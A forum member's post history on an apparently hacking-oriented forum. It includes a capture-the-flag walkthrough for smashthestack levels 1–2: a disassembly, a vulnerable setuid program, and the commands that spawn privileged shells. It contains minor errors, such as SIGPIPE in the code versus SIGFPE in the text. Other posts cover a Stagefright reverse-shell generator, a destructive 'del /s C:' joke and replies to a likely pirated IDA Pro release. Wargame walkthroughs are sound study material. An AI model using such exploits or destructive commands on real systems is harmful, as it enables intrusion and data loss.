Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - x40a0e

Pages: [1] 2
1
General discussion / Re: Precrime on the way
« on: February 09, 2016, 01:43:35 am »
While I completely disagree with the mass surveillance going on, I just feel the need to play devil's advocate here.

It doesn't sound like they are actually not allowing people to enter the store or calling the police. Many stores (especially those that have a staff monitoring CCTV) have a bunch of photos they use to identify people that have shoplifted before, which I don't think is unreasonable at all. This sounds like it could be an efficient way of multiple store collaborating on these lists, and helping to just warn, and keep an eye on them. I don't know about the laws in the UK, but here in the US you can't accuse somebody of shoplifting and kick them out, or you will face some big legal/civil consequences. All this being said, I don't think the technology in and of itself is bad, but has a lot of potential to be abused. It is indeed a scary thought.

2
Beginner's Corner / Re: CSRF Exploitation
« on: February 09, 2016, 01:21:18 am »
If there is a CSRF token (sounds like there is) it may not be possible. If the token is static and does not change across page loads / sessions, then you should be able to exploit it, but if it is a randomly generated dynamic token, you're basically SOL.

3
Hacking and Security / HTTP2
« on: January 16, 2016, 04:06:23 am »
Has anybody here done any looking through HTTP2 and the security related to it? Brand new protocol that is picking up some support and could introduce some new vulnerabilities. I just listened to a short talk about it and it piqued my interest. RFC for those interested.

4
Reverse Engineering / Re: IDA Pro 6.8 + HexRays 2 (ARM/x86/x64)
« on: December 18, 2015, 05:05:55 am »
This is both x86 and x64. At least it gives me 2 shortcuts on desktop for both.
Do you know if the IDA folder has the Linux binaries in it?

5
Reverse Engineering / Re: IDA Pro 6.8 + HexRays 2 (ARM/x86/x64)
« on: December 11, 2015, 06:33:40 am »
Fantastic! +1
Anybody know of a 64bit Linux version of this around?

6
Hardware / Re: [Question] Security related Hardware project ideas
« on: November 04, 2015, 02:57:07 am »
Check out Samy Kamkar's youtube channel. He has quite a few hardward projects that are all security related, and he gives good walk throughs. It might help to replicate some of his projects and then see if they inspire anything new.

7
Hacking and Security / Re: Great links/tools to learn from
« on: October 21, 2015, 01:57:07 am »
Great list +1

This link seems to be down. index.php 404s, and the root seems to be a parked domain or something.
https://www.xploitworld.com/index.php

8
General discussion / Re: "Speed-reading"
« on: October 17, 2015, 03:48:44 am »
I have actually looked into this quite a bit, but I'm fairly skeptical. From what I have read, increases of this magnitude will allow for ~80% comprehension, but only in non-technical material.

I mean, think about anything you've learned that was complex and difficult to understand. How much of the time "reading" was actually reading vs. trying to digest and make sense of what you are reading. To me the whole speed reading thing to digest highly technical material more quickly would be like learning to type faster so that you can program faster. The bottleneck doesn't lie there.
If you do have any success with this though, please let me know, I would be very excited to be proven wrong here.

9
There is no good alternative that I know of, but AFAIK they will still be releasing the testing patches. They aren't as stable, but I believe Arch and Gentoo use the testing patches for kernel builds anyway, so if you are on one of those two distros you can still get a grsec hardened kernel.

10
Operating System / Re: To all the people running Windows 7 and 8.
« on: September 14, 2015, 10:32:31 pm »
Sadly not many people outside of security seem to care about privacy these days. They'd rather get rid of all the damn terrerizers, and have cortana tell you that you forgot to take birth control and might be pregnant than have any semblance of privacy. Somewhat relavent xkcd that made me chuckle.

Seriously though it is hard to convey why these things (privacy/security) mattar to people that just don't care. I am friends with a CTO of a relatively large startup/vc firm in my area and his response to the whole Stagefright vuln, was "who cares, they can look at my pictures of me on a camping trip with the family". I think this is the general attitude about privacy (as well as the fact that your personal device that has all your personall info could be easilly hacked), I don't have anything to hide, so why should I care. Its frusterating. /rant

11
Tutorials / Smashthestack walkthroughs
« on: September 14, 2015, 10:02:16 pm »
In this series of posts I will be walking through the wargames hosted at io.smashthestack.org. Note, turn off Javascript when going to this site, they allow users to submit arbitrary tags into levels they have completed, and these may often be malicious Js. The wargame works as follows: The password is given for level 1, and you ssh into io.smashthestack.org. On this Debian box, there are a bunch of setuid binaries in the /levels directory. A setuid or SUID binary is one that can be run by members of a specific group, and the program effectively executes as the owner of the binary. Each levelN binary is a setuid that can be run by levelN-1 as levelN. If you are able to exploit these binaries, you can run shellcode to give you a shell as levelN and access the ~/.pass file containing the password for levelN. In the following posts I will show the methods for exploiting these binaries, but leave out the passwords for the levels, so that you can try this out yourself, or even improve on my exploits. All feedback on the quality of posts, explainations, or exploits is appreciated.


Level 1:

Smashthestack gives the password for level 1, so I won't omit it here. SSH into io.smashthestack.org as level1, using the password level1. From here you are given a bash shell. To look at the binaries and start trying to exploit them, cd into the /levels directory. Listing the files shows that there is no source code given for level1, so you will have to do a little reversing. First check what the program does.

Code: [Select]
level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter:

So we need to find out what the passcode is. To find out how this program works I will use objdump to disassemble the binary. (note the "-d" flag will only disassemble some sections of the code, "-D" will disassemble all parts of the code, but we just want to see the main routine here, so -d will suffice).

Code: [Select]
level1@io:/levels$ objdump -d level01


level01:     file format elf32-i386


Disassembly of section .text:

08048080 <_start>:
 8048080: 68 28 91 04 08        push   $0x8049128
 8048085: e8 85 00 00 00        call   804810f <puts>
 804808a: e8 10 00 00 00        call   804809f <fscanf>
 804808f: 3d 0f 01 00 00        cmp    $0x10f,%eax
 8048094: 0f 84 42 00 00 00    je     80480dc <YouWin>
 804809a: e8 64 00 00 00        call   8048103 <exit>

So we can see that the code was written in assembler, given by the lack of main. It contains a <_start> which can is where the program will begin execution. First it will push a value 0x8049128 onto the stack, we can ignore this for now, and then call the puts function (a function similar to printf, but only accepting a string with no format args). It then calls the fscanf function, which will return an int from stdin. Functions will typically put their return value in the %eax register. The next instruction executed is
Code: [Select]
cmp $0x10f, %eax. The
Code: [Select]
cmp instruction compares its first operand to the second operand and sets the proper flags in the %eflags register. The cmp will sets the following bits SF, ZF, CF, OF, and AF flags. The flag we are interested here is the ZF flag, which is set if the comparison of cmp's operands results in a zero, hence its name the Zero Flag. This is then used by the je. The je instruction jumps to a specified address if the ZF is set. So this disassembly would relate to c code following:

Code: [Select]
if(fscanf(stdin, "%d") == 0x10f) YouWin();
So assuming the YouWin function is where we want to be, all we need to do is input the number 0x10f in decimal to the program. To figure out what this number is in decimal you can use radare2's base converter
Code: [Select]
level1@io:/levels$ rax2 0x10f
271

So let's input this and see what YouWin() does.
Code: [Select]
level1@io:/levels$ Enter the 3 digit passcode to enter: 271
Congrats you found it, now read the password for level2 from /home/level2/.pass
sh-4.2$

So from here you can do what the prompt says and cat the /home/level2/.pass file to find out the password for level2. From here you could run bash to get a more full featured shell, but you can also just exit the SSH connection and connect back to it as level2 with your newly obtained password. I choose to do it this way because it will give you the proper .bashrc config and what not.



Level 2

In the previous post I discussed a little simple reversing of the setuid binary and getting a shell with it. In this post I will be talking about exploiting the binary for the next level. This time there is source code for the level:
Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void catcher(int a)
{
    setresuid(geteuid(), geteuid(), geteuid());
    printf("WIN\n");
    system("/bin/sh");
    exit(0);
}

int main(int argc, char **argv)
{
    if(argc != 3 || !atoi(argv[2]))
    {
        return 1;
    }
    signal(SIGPIPE, catcher);
    return abs(atoi(argv[1])) / atoi(argv[2]);
}

Alright, so let's break down what is going on in this program. First the program ensures there are 3 arguments (two user controlled arguments, as argv[0] is the name of the program). The program also makes sure the second user controlled parameter is not zero.
Next the program uses the signal function to use the catcher function as a signal hander. As you can see the catcher function is where we want to be, as it spawns a shell for us. Let take a loot at what the SIGFPE, the signal that will call catcher, does, and how it is triggered.
According to the GNU libc manual the SIGFPE is triggered due to an arithmatic error. The name comes from the floating point exception, but it can also be triggered from integer overlow, division by zero and some others. So we could trigger this signal by setting argv[2] to zero, causing this division by zero, but the program has a check for this before the signal handler is set, and division is done, so that won't do. Another aproach could be to try to cause the integer overflow. The minimum value of a signed 32-bit integer is -2147483647. Atoi, however, will allow you to input a number less than this, so lets try using -2147483648, then dividing by zero, making the result 2147483648, which is larger than the maximum value of a 32-bit signed integer, causing the integer overflow, and SIGFPE signal being raised. Let's try this out:
Code: [Select]
level2@io:/levels$ ./level02 -2147483648 -1
source code is available in level02.c

WIN!
sh-4.2$ whoami
level3
sh-4.2$
As you can see we are given a shell running as level3, so now we can get the password from /home/level3/.pass and move on to level3.

I will post more of these as I have the time. I have some notes on the levels I have gone through, but not much so it may be a while until I have a full writeup.

12
Mobile Hacking / Re: Stagefright exploit
« on: September 14, 2015, 05:03:48 am »
They also released full python source used to generate an mp4 that will pop a reverse shell running as media. I haven't tried it out yet, but I will be doing so soon. This is just the payload generator, getting the payload to execute is up to you, although it should be trivial.

https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/

EDIT: I'm actually trying to go through this right now, but I'm unable to do so. I don't have the mp4 module, and I can't seem to figure out which library it is, so if anybody knows please let me know, my searches have not been so successful.

13
Found it on the Webs / Re: Unhackeble windows - No shit!
« on: September 07, 2015, 06:39:25 pm »
Code: [Select]
del /s C: is really the only way I can think of that would make this possible.

14
It looks like Wind River (a subsidairy of Intel) has been abusing trademarks of Grsecurity, and possibly voilating the GPL, and basically all around abusing the team, even asking for development help on their forums. Due to the massive inconvenience of this, and the lack of funds to take legal recourse, Grsecurity may be disconinuing thier public release of their stable patches. It sounds like they will still be releasing the testing Kernel patches, which I believe are the ones used in Gentoo Kernel sources, as well as the Hardened Arch Kernel, so these may remain unaffected, but regardless of this, I think this could be very detremental to the FOSS community, and Linux users. Hopefully they will raise enough money to go to court, although going up against Intel would be a bitch.

Post by Brad Spengler (Lead Grsec developer) explaining the situation.

Ycominator thread
giving more details than I have here.

15
General discussion / Re: What coffee machine do you guys have?
« on: August 26, 2015, 07:20:15 pm »
I use a Chemex for mine.
Although I also have an espresso machine that I prefer, but one of the knobs is broken. I need to figure out how the hell to fix it so I can get properly caffienated once again.

Pages: [1] 2